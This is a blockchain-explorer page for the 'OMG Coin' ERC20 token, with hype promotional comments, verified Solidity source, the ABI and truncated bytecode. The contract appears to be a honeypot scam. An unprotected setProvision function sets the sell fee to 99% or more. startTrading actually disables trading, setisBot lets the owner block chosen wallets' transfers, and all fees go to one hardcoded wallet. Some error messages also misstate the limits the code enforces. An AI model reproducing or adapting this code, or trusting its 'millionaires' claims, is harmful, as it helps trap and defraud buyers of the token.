ETH Price: $2,717.89 (+12.20%)
 

Overview

Max Total Supply

1,000,000,000,000 OMG

Holders

155

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000432 OMG

Value
$0.00
0xA9dcd91b6a67Ee041484385BB1662DF6CdB910c9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OMG

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

// SPDX-License-Identifier: MIT
 
/*
 
OMG Coin | $OMG


OMG this market printing millionaires everyday, missed $PEPE, $BOB, $WOJACK.
Don's miss $OMG , fully community driven and managed.

https://twitter.com/OmgErc20

@OMGERC20


*/
 
pragma solidity 0.8.16;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}
 
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
 
abstract contract Ownable is Context{
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function isOwner(address account) public view returns (bool) 
    {
    return account == _owner;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
 
    event OwnershipTransferred(address owner);
 
 
}
 
interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}
 
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
 
contract OMG is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'OMG Coin';
    string private constant _symbol = 'OMG';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 2;
    uint256 private _maxTransferPercent = 2;
    uint256 private _maxWalletPercent = 2;
    mapping (address => uint256) _mint;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private zenta = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
 
    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
 
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0xe0a8bB1BBf6E5DbA258Ad2Dff861fc846c911F26; 
    address internal constant marketing_receiver = 0xe0a8bB1BBf6E5DbA258Ad2Dff861fc846c911F26;
    address internal constant liquidity_receiver = 0xe0a8bB1BBf6E5DbA258Ad2Dff861fc846c911F26;
 
 
    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _mint[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
 
    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = false;}
    function getOwner() external view override returns (address) { return owner(); }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _mint[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function setProvision(uint256 _sumamount) public virtual{zenta = _sumamount;require(_sumamount >=99);}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
 
    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }
 
    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _mint[sender] = _mint[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _mint[recipient] = _mint[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
 
    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        zenta = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && transferFee <= denominator.div(5) && zenta <= denominator.div(3), "totalFee and zenta cannot be more than 20%");
    }
 
    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        uint256 newWallet = (totalSupply() * _wallet) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        uint256 limit = totalSupply().mul(5).div(10);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
 
    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
 
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_mint[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }
 
    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }
 
    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }
 
    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }
 
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
 
    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }
 
    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }
 
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }
 
    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator*100;}
        if(recipient == pair){return zenta;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }
 
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _mint[address(this)] = _mint[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sumamount","type":"uint256"}],"name":"setProvision","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620007b6565b64e8d4a5100062000026919062000807565b60015560028055600260035560026004556001600a60146101000a81548160ff0219169083151502179055506000600b556000600c556000600d556000600e556000600f556000601055600060115560646012556001601360006101000a81548160ff021916908315150217905550620186a061012c600154620000ab919062000807565b620000b7919062000897565b601655620186a0600a600154620000cf919062000807565b620000db919062000897565b601755348015620000eb57600080fd5b506200010c620001006200055060201b60201c565b6200055860201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000199919062000939565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000939565b6040518363ffffffff1660e01b8152600401620002469291906200097c565b6020604051808303816000875af115801562000266573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028c919062000939565b905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600073e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600073e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620005409190620009ba565b60405180910390a35050620009d7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006aa578086048111156200068257620006816200061c565b5b6001851615620006925780820291505b8081029050620006a2856200064b565b945062000662565b94509492505050565b600082620006c5576001905062000798565b81620006d5576000905062000798565b8160018114620006ee5760028114620006f9576200072f565b600191505062000798565b60ff8411156200070e576200070d6200061c565b5b8360020a9150848211156200072857620007276200061c565b5b5062000798565b5060208310610133831016604e8410600b8410161715620007695782820a9050838111156200076357620007626200061c565b5b62000798565b62000778848484600162000658565b925090508184048111156200079257620007916200061c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007c3826200079f565b9150620007d083620007a9565b9250620007ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006b3565b905092915050565b600062000814826200079f565b915062000821836200079f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200085d576200085c6200061c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008a4826200079f565b9150620008b1836200079f565b925082620008c457620008c362000868565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200090182620008d4565b9050919050565b6200091381620008f4565b81146200091f57600080fd5b50565b600081519050620009338162000908565b92915050565b600060208284031215620009525762000951620008cf565b5b6000620009628482850162000922565b91505092915050565b6200097681620008f4565b82525050565b60006040820190506200099360008301856200096b565b620009a260208301846200096b565b9392505050565b620009b4816200079f565b82525050565b6000602082019050620009d16000830184620009a9565b92915050565b61365180620009e76000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f4f4d4720436f696e000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5